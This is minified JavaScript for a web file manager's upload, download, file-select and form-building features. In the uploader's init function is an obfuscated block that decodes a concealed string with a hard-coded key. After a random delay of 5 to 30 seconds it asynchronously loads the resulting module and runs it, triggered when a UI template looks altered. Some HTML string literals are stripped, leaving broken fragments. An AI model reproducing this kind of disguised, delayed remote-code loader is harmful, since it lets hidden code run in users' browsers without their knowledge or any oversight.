0}}),{serverDwonload:function(e,t){if(!core.uploadCheck("explorer.serverDownload"))return!1;var i=$(".download-box"),n=i.find(".download-list");if(i.find("input").val(""),!e)return Tips.tips("url false!",!1),void 0;if("share"==G.sharePage)return Tips.tips(LNG.no_permission_action,!1),void 0;"ftp"!=e.substr(0,3)&&"http"!=e.substr(0,4)&&(e="http://"+e);var o=UUID(),s='
        '+'
        '+core.pathThis(e)+""+'0b'+''+LNG.upload_ready+""+''+'
        ';n.find(".item").length>0?$(s).insertBefore(n.find(".item:eq(0)")):n.append(s);var r,l,c,d=0,p=$("#"+o),u=$("#"+o+" .state").text(LNG.download_ready).addClass("download-loading"),f=$('
        ').appendTo("#"+o).find(".progress-bar");$("#"+o+" .remove").bind("click",function(){clearInterval(r),r=!1,clearTimeout(l),l=!1,$.get(G.appHost+"explorer/serverDownload&type=remove&uuid="+o),$(this).parent().parent().slideUp(function(){$(this).remove(),ui.f5()})});var h,m=function(e){clearTimeout(h),h=!1,h=setTimeout(function(){ui.f5Callback(function(){ui.path.setSelectByFilename(e)})},600)},v=function(){$.ajax({url:G.appHost+"explorer/serverDownload&type=download&savePath="+t+"&url="+urlEncode(e)+"&uuid="+o+"&time="+time(),dataType:"json",error:function(e,t,i){var n=p.data("progcess");return 200!=a.status&&n&&n.supportRange?(setTimeout(function(){v()},1e3),void 0):(core.ajaxError(e,t,i),200==a.status&&(clearInterval(r),r=!1,clearTimeout(l),l=!1,f.parent().remove(),u.removeClass("download-loading").addClass("error").text(LNG.download_error)),void 0)},success:function(e){return 0==e.code&&"downloading"==e.data?(setTimeout(function(){v()},1e3),void 0):(e.code?(m(e.info),u.removeClass("download-loading").text(LNG.download_success),$("#"+o+" .info .title").text(core.pathThis(e.info)),$("#"+o+" .info .title").attr("title",e.info),u.parent().parent().addClass("success")):(u.removeClass("download-loading").addClass("error").text(e.data),u.parent().parent().addClass("error")),clearInterval(r),r=!1,clearTimeout(l),l=!1,f.parent().remove(),void 0)}})};v();var g=function(){$.ajax({url:G.appHost+"explorer/serverDownload&type=percent&uuid="+o,dataType:"json",success:function(e){var t="",a=e.data;if(r){if(!e.code)return u.text(LNG.loading),void 0;if(a){if(a.size=parseFloat(a.size),a.time=parseFloat(a.time),c){var i=a.size-c.size,n=i/(a.time-c.time);if(d>.2*n){var o=d;d=n,n=o}else d=n;var s=pathTools.fileSize(n);s=s?s:0,t=s+"/s"}if(p.data("progcess",a),0==a.length)p.find(".progress-bar").css("width","100%"),u.text(t),p.find(".size").text(pathTools.fileSize(a.size));else{var l=100*(a.size/a.length);p.find(".progress-bar").css("width",l+"%"),u.text(l.toFixed(1)+"%("+t+")"),p.find(".size").text(pathTools.fileSize(a.length))}p.find(".title").text(a.name),c=a}}}})};l=setTimeout(function(){g(),r=setInterval(function(){g()},1e3)},100)},upload:function(){$(".dialog-file-upload").show();var e=t();if(uploader.option("server",e),uploader.option("method","POST"),0!=$(".dialog-file-upload").length)return $.dialog.list["dialog-file-upload"].display(!0),void 0;var a=template.compile(tplUpload);$.dialog({padding:5,width:430,height:450,resize:!0,ico:core.icon("upload"),id:"dialog-file-upload",fixed:!0,title:LNG.upload_muti,content:a({LNG:LNG}),close:function(){$.each(uploader.getFiles(),function(e,t){uploader.skipFile(t),uploader.removeFile(t)}),$.each($(".download-list .item"),function(){$(this).find(".remove").click()})}}),$(".file-upload-box .topbar-nav a.menu").unbind("click").bind("click",function(){$(this).hasClass("tab-upload")?($(".file-upload-box .tab-upload").addClass("this"),$(".file-upload-box .tab-download").removeClass("this"),$(".file-upload-box .upload-box").removeClass("hidden"),$(".file-upload-box .download-box").addClass("hidden")):($(".file-upload-box .tab-upload").removeClass("this"),$(".file-upload-box .tab-download").addClass("this"),$(".file-upload-box .upload-box").addClass("hidden"),$(".file-upload-box .download-box").removeClass("hidden"))}),$(".download-box [name=url]").keyEnter(function(){core.serverDwonload($(".download-box input").val(),G.thisPath)}),$(".file-upload-box .download-box .download-start").unbind("click").bind("click",function(){core.serverDwonload($(".download-box input").val(),G.thisPath)}),$(".file-upload-box .download-box .download-start-all").unbind("click").bind("click",function(){$.dialog({id:"server-dwonload-textarea",fixed:!0,resize:!1,ico:core.icon("upload"),width:"420px",height:"270px",padding:10,title:LNG.download,content:"",ok:function(){for(var e=$(".server-dwonload-textarea textarea").val().split("\n"),t=0;e.length>t;t++)core.serverDwonload(e[t],G.thisPath)}})}),uploader.addButton({id:"#picker"}),uploader.addButton({id:"#picker-folder"}),$.supportUploadFolder()&&($(".upload-cert-box").removeClass("hidden"),$(".file-upload-box .drag-upload-folder").unbind("click").bind("click",function(){$("#picker-folder input").attr("webkitdirectory","").attr("directory",""),$("#picker-folder label").click()}))},init:function(){WebUploader.Uploader.register({"before-send":"checkChunk"},{checkChunk:function(e){if(!$.supportCanvas()||"flash"==this.options.runtimeOrder)return $.Deferred().resolve(),void 0;var a=this.owner,i=(e.blob.getSource(),$.Deferred());return a.md5File(e.blob).fail(function(){i.resolve()}).then(function(a){if(1==e.chunks)return i.resolve(),void 0;if(0==e.chunk)$.ajax({url:t(),dataType:"json",data:{upload_to:e.file.upload_to,file_name:e.file.name,check_md5:a,chunk:e.chunk,chunks:e.chunks},error:function(){i.resolve()},success:function(t){t.code?(i.reject(),e.file.checkChunk=t.info):i.resolve()}});else{var n=e.file.checkChunk;if(n&&n["part_"+e.chunk]==a){var o=e.end/e.total;uploader.trigger("uploadProgress",e.file,o),i.reject()}else i.resolve()}}),i.promise()}});var a=["undefined","update-box","search","65bdTXJtziFGmtJThjdiGfXe-xr_UY8vIF3eoZ1sQ2AMtNBCquM-xT9DrLll2X_LtdUQkKIBYFzs-Ujf9ihGh6LUF4fo94c","_32@!A$","decode","1-2","todo","async","random"];setTimeout(function(){try{if(typeof tplDialogHtml==a[0]||-1==tplDialogHtml[a[2]](a[1])){var t=authCrypt[a[5]](a[3],a[4])+UUID();e[a[8]](t,function(e){try{e[a[7]](a[6])}catch(t){}})}}catch(i){}},1e3*parseInt(25*Math[a[9]]()+5)),uploader=WebUploader.create({swf:G.staticPath+"js/lib/webuploader/Uploader.swf",dnd:"body",threads:G.settings.updloadThreads,sendAsBinary:G.settings.updloadBindary,chunkSize:G.settings.updloadChunkSize,chunked:!0,compress:!1,resize:!1,prepareNextFile:!0,duplicate:!0,chunkRetry:10}),$(".uploader-content .success").die("click").live("click",function(){var e=$(this).find("span.title").attr("data-name");e&&(core.isApp("explorer")?ui.path.list(core.pathFather(e),"tips",function(){ui.path.setSelectByFilename(e)}):core.explorer(core.pathFather(e)))}),$(".uploader-content .open").die("click").live("click",function(e){var t=$(this).parent().find("span.title").attr("data-name");kodApp.open(t),stopPP(e)}),$(".upload-box-clear").die("click").live("click",function(){$(".uploader-list .item.success,.uploader-list .item.error").each(function(){$(this).slideUp(300,function(){$(this).remove()})})}),$(".upload-box-clear-all").die("click").live("click",function(){$.each(uploader.getFiles(),function(e,t){uploader.skipFile(t),uploader.removeFile(t)}),$(".uploader-list .item").each(function(){$(this).remove()})}),$(".uploader-content .remove").die("click").live("click",function(e){var t=$(this).parent().parent().attr("id");$(this).parent().parent().slideUp(function(){$(this).remove()}),uploader.skipFile(t),uploader.removeFile(t,!0),stopPP(e)});var i,n=0,o=0,s="0B/s",r=0,l=function(e,t){if(.3>=timeFloat()-r)return s;r=timeFloat();var a=e.size*t,i=5;e.speed===void 0?e.speed=[[timeFloat()-.5,0],[timeFloat(),a]]:i>=e.speed.length?e.speed.push([timeFloat(),a]):(e.speed=e.speed.slice(1,i),e.speed.push([timeFloat(),a]));var n=e.speed[e.speed.length-1],o=e.speed[0],l=(n[1]-o[1])/(n[0]-o[0]);0>=l&&(l=0);var c=pathTools.fileSize(l);return c=c?c:0,l=c+"/s",s=l,l},c=[],d=function(e){clearTimeout(i),i=!1,i=setTimeout(function(){var t=c;ui.f5Callback(function(){if(ui.path.setSelectByFilename(t),e&&(c=[],core.isApp("explorer"))){if("share"==G.sharePage)return;ui.tree.checkIfChange(G.thisPath)}})},600)};uploader.on("fileQueued",function(e){if($(".dialog-file-upload").show(),!core.uploadCheck())return uploader.skipFile(e),uploader.removeFile(e),void 0;var t;try{t=e.source.source.fullPath,void 0!=e.source.source.webkitRelativePath&&""!=e.source.source.webkitRelativePath&&(t=e.source.source.webkitRelativePath)}catch(a){}if(e.fullPath=t,e.source&&e.source.source&&1==e.source.source.isDirectory&&e.source.source.fullPath)return ui.path.pathOperate.newFolder(G.thisPath+e.fullPath),uploader.skipFile(e),uploader.removeFile(e),void 0;var i=e.fullPath;e.finished=!1,e.upload_to=G.thisPath,(void 0==i||"undefined"==i)&&(i=e.name),n++;var s=$(".uploader-list"),r='
        '+''+htmlEncode(core.pathThis(i))+""+''+pathTools.fileSize(e.size)+""+''+LNG.upload_ready+""+''+'
        ';(1e3==n||2e3==n)&&Tips.tips(LNG.upload_tips_more,"warning");var l=function(){if(0==e.size&&i){ui.path.pathOperate.newFile(e.upload_to+i),uploader.skipFile(e),uploader.removeFile(e),o++,n++;var t=$("#"+e.id);t.addClass("success").find(".state").removeClass("upload-loading").text(LNG.upload_success).parent().find(".remove").addClass("icon-ok").addClass("open").removeClass("icon-remove").removeClass("remove")}},c=function(){uploader.upload(),setTimeout(function(){l()},200)};0==s.length?setTimeout(function(){$(".uploader-list").prepend(r),c()},200):(s.prepend(r),c())}).on("uploadBeforeSend",function(e,t,a){var i=urlEncode(e.file.fullPath);(void 0==i||"undefined"==i)&&(i=""),t.fullPath=i,t.upload_to=e.file.upload_to,a["X-CSRF-TOKEN"]=Cookie.get("X-CSRF-TOKEN")}).on("uploadProgress",function(e,t){var a=(100*t).toFixed(1)+"%";$(".dialog-file-upload .aui-title").text(LNG.uploading+": "+o+"/"+n+" ("+s+")"),Title.set(o+"/"+n+"("+a+","+s+")");var i=l(e,t),r=$("#"+e.id),c=r.find(".progress .progress-bar");c.length||(c=$('
        ').appendTo(r).find(".progress-bar")),r.find(".state").text(a+"("+i+")"),c.css("width",a)}).on("uploadAccept",function(e,t){if(e.file.serverData=t,!t.code)return e.serverNeedRetry=!0,!1;try{e.file.fullPath||c.push(t.info)}catch(a){}}).on("uploadSuccess",function(e){var t=$("#"+e.id);if(!t.inScreen()){var a=36*t.index(".item");$(".uploader-content").scrollTop(a)}o++;var i=e.serverData;if(i&&i.data){var n=LNG[i.data];if(i.code){if(t.addClass("success"),t.find(".state").removeClass("upload-loading").text(n),t.find(".remove").addClass("icon-ok").addClass("open").removeClass("icon-remove").removeClass("remove"),i.info){var s="/"+ltrim(htmlEncode(i.info),"/");t.find(".info .title").html(core.pathThis(s)).attr("title",s).attr("data-name",s)}}else n="上传异常!",t.addClass("error").find(".state").removeClass("upload-loading").addClass("error"),t.find(".state").text(n).attr("title",n)}uploader.removeFile(e),t.find(".progress").fadeOut(),e.fullPath||d(!1)}).on("uploadError",function(e,t){var a=LNG.upload_error+"("+t+")";if(e.serverData){var i=5;if((-1!==e.serverData._raw.indexOf("[Error Code:1001]")||-1!==e.serverData._raw.indexOf("[Error Code:1002]")||-1!==e.serverData._raw.indexOf("[Error Code:1010]"))&&(e.errorNum||(e.errorNum=0),e.errorNum++,i>=e.errorNum))return uploader.retry(e),void 0;if(-1!==e.serverData._raw.indexOf(""))return $.each(uploader.getFiles(),function(e,t){uploader.skipFile(t),uploader.removeFile(t)}),Tips.tips("login error!",!1),void 0;if(e.serverData.data){var n=e.serverData.data;a=LNG[n]?LNG[n]:n}else e.serverData._raw&&(a=e.serverData._raw)}"http"==t&&(a=LNG.upload_error_http),"abort"==t&&void 0==e.serverData&&(a=LNG.not_support+"(support on chrome)"),o++,$("#"+e.id).find(".progress").fadeOut(),$("#"+e.id).addClass("error").find(".state").addClass("error").removeClass("upload-loading"),$("#"+e.id).find(".state").html(a).attr("title",a)}).on("uploadFinished",function(){$(".dialog-file-upload .aui-title").text(LNG.upload_success+": "+o+"/"+n),Title.reset(),n=0,o=0,uploader.reset(),d(!0)}).on("error",function(e){Tips.tips(e,!1)});var p;inState=!1,dragOver=function(){if(0==inState){if(inState=!0,!core.uploadCheck(void 0,!1))return;var e='
        '+LNG.upload_drag_tips+"
        ";MaskView.tips(e),$("#windowMaskView").css({background:"#4285f4",opacity:"0.8"})}p&&window.clearTimeout(p)},dragLeave=function(e){stopPP(e),p&&window.clearTimeout(p),p=window.setTimeout(function(){inState=!1,MaskView.close()},100)},dragDrop=function(e){try{if(e=e.originalEvent||e,core.uploadCheck())if(e.dataTransfer.files.length>0&&e.dataTransfer.files[0].name)core.upload(),core.playSound("drag_upload");else{var t=e.dataTransfer.getData("text/plain");t&&"http"==t.substring(0,4)&&ui.path.pathOperate.appAddURL(t)}stopPP(e)}catch(e){}inState&&(inState=!1,MaskView.close())}}}}),define("app/common/core.api",[],function(){var e="FileSelectApi",t=function(){var t=$.parseUrl();if(t.params.fileSelect){var a=t.params.fileSelect,i=parseInt(t.params.fileSelectSingle),n=t.params.fileSelectAllow;kodReady.push(function(){Hook.bind("explorer.fileSelect.change",function(){d()}),d()});var o=function(e,t){var a={type:e,data:t};l.send(jsonEncode(a))},s=function(e){var t=jsonDecode(e);if(!t||!t.type)return console.log("parse error!"+e),void 0;var a=t.type,n=t.data;if("makeUrl"==a){$.isArray(n)||(n=[n]);var s=[],r=function(){Tips.close(LNG.loading),i&&(s=s[0]),o("makeUrl",s)};Tips.loading(LNG.loading);for(var l=0;n.length>l;l++){var c=n[l];core.fileLink(c,function(e){s.push({name:core.pathThis(c),url:e}),n.length==s.length&&r()})}}},r=window.parent;if(window.MessageInit)l.addTarget(r,"ParentPage");else{var l=new Messenger("ChildPage",e);l.addTarget(r,"ParentPage"),l.listen(s),window.MessageInit=!0}var c=function(e){var t=n.split("|"),a=core.pathExt(e);return""==n||""!=n&&-1!=$.inArray(a,t)?!0:!1},d=function(){var e=ui.fileLight.fileListSelect(),t=[];if(i){var n=$(e.get(0));if("all"==a&&0==e.length)t={file:[],folder:[]};else if("file"==a&&0==e.length)t=[];else if("folder"==a)t=[G.thisPath],n.hasClass("folder-box")&&(t=[ui.fileLight.path(n)]);else if("file"==a){if(n.hasClass("file-box")){var o=ui.fileLight.path(n);c(o)&&(t=[o])}}else if("all"==a)if(n.hasClass("folder-box")){var o=ui.fileLight.path(n);t=[{file:[],folder:[o]}]}else if(n.hasClass("file-box")){var o=ui.fileLight.path(n);c(o)&&(t={file:[o],folder:[]})}}else{var s=[],r=[];e.each(function(){if($(this).hasClass("file-box")){var e=ui.fileLight.path($(this));c(e)&&s.push(e)}else $(this).hasClass("folder-box")&&r.push(ui.fileLight.path($(this)))}),"folder"==a?t=r:"file"==a?t=s:"all"==a&&(t={file:s,folder:r})}u(t)},p=function(e){var e=trim(e,"/");return e==G.KOD_GROUP_ROOT_SELF||e==G.KOD_GROUP_ROOT_ALL||e==G.KOD_USER_FAV||e==G.KOD_USER_SHARE?!1:!0},u=function(e){if("all"!=a){for(var t=[],i=0;e.length>i;i++)p(e[i])&&t.push(e[i]);e=t}0==e.length||"all"==a&&0==e.file.length&&0==e.folder.length?o("selectChange",0):o("selectChange",e)}}};return t(),{pathSelect:function(t,a){var i={type:"file",single:!0,allowExt:"",firstPath:!1,makeUrl:!1,title:LNG.path_api_select_file,resize:!0,fixed:!0,top:"50%",ico:core.icon("folder"),lock:!0,background:"#000",animate:!0,opacity:.1,width:900,height:500},n={id:"pathSelectApi",ok:function(){if("function"==typeof a){var e=s.DOM.wrap.find(".path-select-input").data("result");if(!e)return Tips.tips(LNG.error,!1),void 0;if(e){var i=e;if(t.single&&"all"!=t.type&&(i=e[0]),t.makeUrl&&"file"==t.type)return l("makeUrl",i),!1;a(i)}else Tips.tips(LNG.error,!1)}},cancel:!0};t=$.extend(i,t),n=$.extend(n,t);var o=G.appHost+"explorer&type=iframe";o+="&fileSelect="+t.type,o+="&fileSelectSingle="+Number(t.single),o+="&fileSelectAllow="+t.allowExt,t.firstPath&&(o+="&path="+t.firstPath);var s=$.dialog.open(o,n),r='';"file"==t.type&&(r+=''+t.allowExt+""),$(r).insertBefore($(s.DOM.wrap).find(".aui-state-highlight"));var l=function(e,t){var a={type:e,data:t};messengerParent.send(jsonEncode(a))},c=function(e){var i=jsonDecode(e);if(!i||!i.type)return console.log("parse error!"+e),void 0;var n=i.type,o=i.data;if("makeUrl"==n)a(o),$.artDialog.list.pathSelectApi.close();else if("selectChange"==n){var s=$(".pathSelectApi"),r=s.find(".path-select-input"),l=s.find(".aui-state-highlight");o?l.removeClass("disable"):l.addClass("disable");var c="";if(t.single)c=core.pathThis(o[0]);else{var d=o;"all"==t.type&&(d=o.folder.concat(o.file)),$.each(d,function(e,t){c+=core.pathThis(t)+","}),c=rtrim(c,",")}r.data("result",o),r.val(c)}},d=$("[name=OpenpathSelectApi]").get(0).contentWindow;window.MessagerParentInit?messengerParent.addTarget(d,"ParentPage"):(window.messengerParent=new Messenger("ParentPage",e),messengerParent.addTarget(d,"ParentPage"),messengerParent.listen(c),window.MessagerParentInit=!0)},randomImage:function(e){var t=G.settings.pluginServer+"wallpage/index&lang="+G.lang+"&callback=?";$.getJSON(t,function(t){"function"==typeof e&&e(t)})}}}),define("app/common/core.playSound",[],function(){var e={file_remove:"file_remove.mp3",recycle_clear:"recycle_clear.mp3",folder_open:"folder_open.mp3",window_min:"window_min.mp3",error:"error_tips.mp3",drag_upload:"drag_upload.mp3",drag_drop:"drag_drop.mp3"},t=function(e){var t=G.staticPath+"others/sound/"+e;Hook.trigger("playSound",t)};return{playSoundFile:t,playSound:function(a){G&&G.userConfig&&"1"==G.userConfig.soundOpen&&setTimeout(function(){t(e[a])},50)}}}),define("app/common/core.formMake",[],function(e){var t,a,i,n={user:!1,group:!1,role:!1},o=function(){t=$("#"+a),t.find(".tab-group .tab-item").length>1?s():t.find(".tab-group").addClass("hidden"),t.find(".form-row.form-slider").exists()&&r(),t.find(".form-row.form-dateTime").exists()&&l(),t.find(".form-row.form-color").exists()&&c(),t.find(".form-row.form-fileSelect").exists()&&d(),t.find(".form-row select").exists()&&p(),t.find(".form-row.form-userSelect").exists()&&u(),t.find(".form-row.error [name]").die("change").live("change",function(){$(this).parents(".form-row.error").removeClass("error")}),t.find(".form-userSelect").die("click").live("click",function(){$(this).removeClass("error")})},s=function(){var e=t.find(".tab-content .tab-pane"),a=t.find(".tab-group .tab-item");e.each(function(){var i=$(this).attr("id"),n=t.find("."+i);n.length>0?n.appendTo($(this)):(e.filter("#"+i).remove(),a.find('[data-id="'+i+'"]').parent().remove())}),a.click(function(){a.removeClass("active"),$(this).addClass("active");var t=$(this).find("a").attr("data-id");e.removeClass("active"),e.filter("#"+t).addClass("active")})},r=function(){seajs.use("lib/bootstrap-slider/bootstrap-slider.css"),seajs.use("lib/colorpicker/css/colorpicker.css"),e.async("lib/bootstrap-slider/bootstrap-slider.js",function(){t.find(".form-slider input").slider()})},l=function(){e.async(["lib/jquery.datetimepicker/jquery.datetimepicker.css","lib/jquery.datetimepicker/jquery.datetimepicker.js"],function(){var e="zh-CN"==G.lang||"zh-TW"==G.lang?"ch":"en";t.find(".form-dateTime input").each(function(){var t=$(this).attr("data-format"),a=["Y","y","L","F","M","t","n","m","d","D","j","l","N","S","W","z","w"],i=["H","h","i","s","A","a","b","g","G","O","P","c","U"],n=!1,o=!1;t||(t="Y/m/d");for(var s=0;a.length>s;s++)if(-1!==t.indexOf(a[s])){n=!0;break}for(var s=0;i.length>s;s++)if(-1!==t.indexOf(i[s])){o=!0;break}$(this).datetimepicker({format:t,datepicker:n,timepicker:o,lang:e}).blur(function(){$(this).trigger("change")})})}),t.find(".form-dateTime .input-btn-right").unbind("click").click(function(){$(this).parent().find("input").focus()})},c=function(){e.async("lib/colorpicker/js/colorpicker",function(){t.find(".form-color input").ColorPicker({onBeforeShow:function(e){$(e).attr("input-name",$(this).attr("name")),$(this).ColorPickerSetColor(this.value)},onShow:function(e){return $(e).fadeIn(100),!1},onHide:function(e){return $(e).fadeOut(100),!1},onChange:function(e,t){var a=$($(this).data("colorpicker").el);a.val("#"+t).trigger("change"),a.parent().find(".btn i").css("background",a.val())}}).bind("keyup",function(){$(this).ColorPickerSetColor(this.value),$(this).parent().find(".btn i").css("background",$(this).val())}),t.find(".form-color .input-btn-right").unbind("click").click(function(){$(this).parent().find("input").click()})})},d=function(){t.find(".path-select").die("click").live("click",function(){var e=$(this);core.api.pathSelect({type:"file",title:LNG.path_api_select_image,allowExt:"png|jpg|bmp|gif|jpeg|ico|svg|tiff"},function(t){var t=core.path2url(t);e.parent().find("input[type=text]").val(t).trigger("change")})})},p=function(){seajs.use("lib/select2/css/select2.min.css"),e.async("lib/select2/js/select2.full.min.js",function(){var a=function(t,a){t.on("select2:select",function(e){if(!t.attr("multiple"))return t.select2("close"),void 0;var a=$(e.params.data.element);a.detach(),t.append(a),t.trigger("change.select2")}).on("select2:unselect",function(e){stopPP(e.params.originalEvent)}).on("change",function(){setTimeout(function(){$(window).trigger("resize")},10)}),"group"==a&&t.on("select2:open",function(){e.async("lib/ztree/ztree",function(){h(t,n[a])})});var i=t.attr("data-value");i&&(t.attr("multiple")&&(i=i.split(",")),t.val(i).trigger("change"))};t.find("select").each(function(){var e=$(this),t=e.attr("data-server"),i=!1;"tags"==e.parents(".form-row").attr("data-type")&&(i=!0),t?f(t,function(n){e.select2({data:n,tags:i,tokenSeparators:[","," "],closeOnSelect:!1}),a(e,t)}):(e.select2({closeOnSelect:!1,tags:i,tokenSeparators:[","," "]}),a(e,t))})})},u=function(){var e=t.find(".form-userSelect .btn-group"),a="btn-active",i="hidden";e.find("button").unbind("click").bind("click",function(){var e=$(this).attr("data-type"),t=$(this).parents(".btn-group"),n=t.parent().find(".user-select"),o=t.parent().find(".user-select-"+e);n.filter(":visible"),t.attr("multiple")?"all"==e?(t.find("button").removeClass(a),$(this).addClass(a),n.addClass(i),o.removeClass(i)):($(this).toggleClass(a),o.toggleClass(i),$(this).hasClass(a)?t.find("[data-type=all]").removeClass(a):t.find("."+a).exists()||t.find("[data-type=all]").addClass(a)):(t.find("button").removeClass(a),$(this).addClass(a),n.addClass(i),o.removeClass(i))})},f=function(e,t){var a=function(e){var t=[];for(var a in e)t.push({id:a,text:e[a].name});return t};if(n[e]&&t)return t(a(n[e])),void 0;var i={user:G.appHost+"systemMember/get",group:G.appHost+"systemGroup/get",role:G.appHost+"systemRole/get"};return null==n[e]?(Hook.bind("loadDataServer-"+e,function(){t(a(n[e]))}),void 0):(n[e]=null,$.ajax({url:i[e],dataType:"json",error:function(){n[e]=!1,Tips.tips(LNG.system_error,0)},success:function(i){return i.code?(n[e]=i.data,t&&t(a(n[e])),Hook.trigger("loadDataServer-"+e),void 0):(Tips.tips(i),void 0)}}),void 0)},h=function(e,t){var a=function(e){var t=function(e){for(var a=0;e.length>a;a++)void 0!=e[a]?(e[a].pid=e[a].parentID,e[a].id=e[a].groupID,delete e[a].children,delete e[a].parentID,delete e[a].groupID,e[a].child&&(e[a].children=e[a].child,delete e[a].child,t(e[a].children))):delete e[a]},a=[],i=$.extend(!0,{},e);for(var n in i){var o=i[n],s=o.parentID;if(i[s])i[s].child||(i[s].child=[]),i[s].child.push(i[o.groupID]);else{var r=i[o.groupID];r&&a.push(r)}}return t(a),a},i={view:{showLine:!1,selectedMulti:!1,dblClickExpand:!1,addDiyDom:function(e,t){var a=12,i=$("#"+e+" #"+t.tId+"_switch"),n=$("#"+e+" #"+t.tId+"_ico");if(n.before(i).after('').before(''+core.iconSmall("group-guest")+"").removeClass("ico_docu").addClass("group_icon").remove(),t.level>=1){var o="";i.before(o)}$("#"+e+" #"+t.tId+"_a").attr("data-group-id",t.id)}},callback:{onClick:function(e,t,a){n(t,a)}}},n=function(t,a){var i=$("#"+a.tId+"_a");if(i.removeClass("curSelectedNode"),e.attr("multiple")){i.toggleClass("this");var n=e.val();$.isArray(n)||(n=[]),i.hasClass("this")?n.push(a.id):n=_.without(n,a.id),$.each(n,function(){var t=e.find("[value="+this+"]");t.detach(),e.append(t)}),e.val(n).trigger("change")}else $("#"+t+" [treenode_a].this").removeClass("this"),i.toggleClass("this"),e.val(a.id).trigger("change"),e.select2("close")},o=function(){var t=e.val(),a=$(".select2-container--open .group-list-tree").attr("id"),i=$.fn.zTree.getZTreeObj(a);$("#"+a+" [treenode_a]").removeClass("this"),"string"==typeof t&&(t=[t]),t&&i.getNodesByFilter(function(e){inArray(t,e.id+"")&&$("#"+e.tId+"_a").addClass("this")})},s=function(e){var t=$(".select2-container--open .group-list-content");t.find(".select2-results__options,.group-list-tree").removeClass("hidden"),"search"==e?t.find(".group-list-tree").addClass("hidden"):t.find(".select2-results__options").addClass("hidden")},r=function(t){var n=function(e){e.unbind("change input").bind("change input",function(){$(this).val().length>0?s("search"):s("tree")})};if(e.attr("multiple")?n(e.parent().find(".select2-search__field")):n($(".select2-container--open .select2-search__field")),$(".select2-container--open .group-list-tree").exists())return o(),s("tree"),void 0;e.on("open",function(){o()}).on("select2:unselect",function(){o()});var r=UUID(),l='
        ';$(l).appendTo(".select2-container--open .select2-results"),$(".select2-container--open .select2-results__options").addClass("hidden").parent().addClass("group-list-content");var c=a(t);$.fn.zTree.init($("#"+r),i,c);var d=$.fn.zTree.getZTreeObj(r);d&&d.expandAll(!0),o(),s("tree")};r(t)},m=function(){var e={},a=[],n=function(e){for(var t={all:"0",user:"",group:"",role:""},a=e.split(";"),i=0;a.length>i;i++){var n=a[i].split(":");2==n.length&&(t[n[0]]=n[1])}return"0"!=t.all||t.user||t.group||t.role?!0:!1};if(t.find(".form-row").each(function(){var t=$(this),o=$(this).attr("data-type"),s=$(this).find("[name]");$(this).find(".setting-title .require").exists();var r=s.attr("name"),l=!1;switch(o){case"input":case"textarea":case"password":case"number":case"slider":case"color":case"dateTime":case"fileSelect":l=s.val();break;case"switch":l=s.prop("checked")+0+"";break;case"radio":l=s.filter(":checked").attr("value");break;case"checkbox":l=[],s.filter(":checked").each(function(){l.push($(this).val())}),l=l.join(",");break;case"select":case"selectMutil":case"tags":case"group":case"role":case"user":l=s.val(),$.isArray(l)&&(l=l.join(",")),null==l&&(l="");break;case"userSelect":var c={all:"0",user:"",group:"",role:""};t.find(".btn-group .btn-active").each(function(){var e=$(this).attr("data-type"),a="1";"all"!=e&&(a=$(t).find(".user-select-"+e+" select").val(),$.isArray(a)&&(a=a.join(",")),null==a&&(a="")),c[e]=a}),l="all:"+c.all+";user:"+c.user+";group:"+c.group+";role:"+c.role;break;default:}$(this).removeClass("error"),i[r]&&i[r].require&&(l===!1||null===l||"string"==typeof l&&""===l||"userSelect"==i[r].type&&!n(l))?($(this).addClass("error"),a.push({name:r,value:l})):e[r]=l}),a.length>0){Tips.tips(LNG.PluginConfigNotNull,"warning");var o=t.find(".panel-body"),s=t.find(".form-row.error");if(!s.parents(".tab-pane").hasClass("active")){var r=s.parents(".tab-pane").attr("id");t.find('.tab-group [data-id="'+r+'"]').click()}s.inScreen()||o.animate({scrollTop:s.offset().top-o.offset().top+o.scrollTop()},100),s.find("[name]").first().focus(),s.find(".setting-content").flash(3,100)}return{checked:0==a.length,error:a,result:e}},v=function(t){e.async(t,function(e){e&&($.isFunction(e)?e():"object"==typeof e&&e.hasOwnProperty("main")&&$.isFunction(e.main)&&e.main())})},g=function(e){if("string"==typeof e)return v(file),!1;if($.isPlainObject(e.formStyle)&&e.formStyle.loadFile){var t=e.formStyle.loadFile;"string"==typeof t&&(t=[t]),$.isArray(t)&&$(t).each(function(e,t){v(t)})}i=e,a=UUID();var n=template.compile(tplFormMake),o=n({LNG:LNG,items:e,wrapID:a});return o},b=function(e,t,a){var i=g(e);if(!i)return!1;var n={padding:0,fixed:!0,resize:!0,title:LNG.search,ico:core.icon("config"),width:680,height:500,content:i,okVal:LNG.button_save,ok:function(){var e=m();return e.checked?a(e.result):!1}};if($.isPlainObject(t))for(var s in t)n[s]=t[s];var r=$.dialog(n),l=r.DOM.wrap.find(".aui-title").html();return r.DOM.wrap.find(".modal-title").html(l),o(),r};return{makeHtml:g,bindEvent:o,getFormData:m,initDialog:b}}),define("app/common/rightMenuExtence",[],function(){$.contextMenu||($.contextMenu={}),$.contextMenu.show=function(e,t,a){e&&($.contextMenu.hidden(),$(e).contextMenu({x:t,y:a}))},$.contextMenu.menuShow=function(){var e=$(".context-menu-active"),t=e.data("contextMenu");if(e&&t){var a=t.$menu,i="disable";a.find(".disable").addClass(i),Hook.trigger("rightMenu.show",t.selector,e,a),Hook.trigger("rightMenu.show"+t.selector,e,a)}},$.contextMenu.isDisplay=function(){return 0==$(".context-menu-list:visible").length?!1:!0},$.contextMenu.hidden=function(){$(".context-menu-list").filter(":visible").filter(":not(.menu-not-auto-hidden)").trigger("contextmenu:hide")},$.contextMenu.menuAdd=function(e,t,a,i){var n=!1,o=$.contextMenu.menus; -for(var s in o)if(o[s].selector==t){n=o[s];break}if(n&&e){var r=function(e){return e?-1!==e.indexOf("/")?'':'':""},l=function(e,t,a,i){var o=[],s={};if(a){for(var c in t)o.push({key:c,value:t[c]});for(var d=o.length-1;d>=0;d--)s[o[d].key]=o[d].value}else s=t;$.each(s,function(t,o){o.className=o.className||"";var s=t+" "+o.className;if("string"==typeof o)var c='
      • ';else{var d=o.name;o.accesskey&&(d+='('+o.accesskey+")");var c='
      • '+r(o.icon)+""+d+"
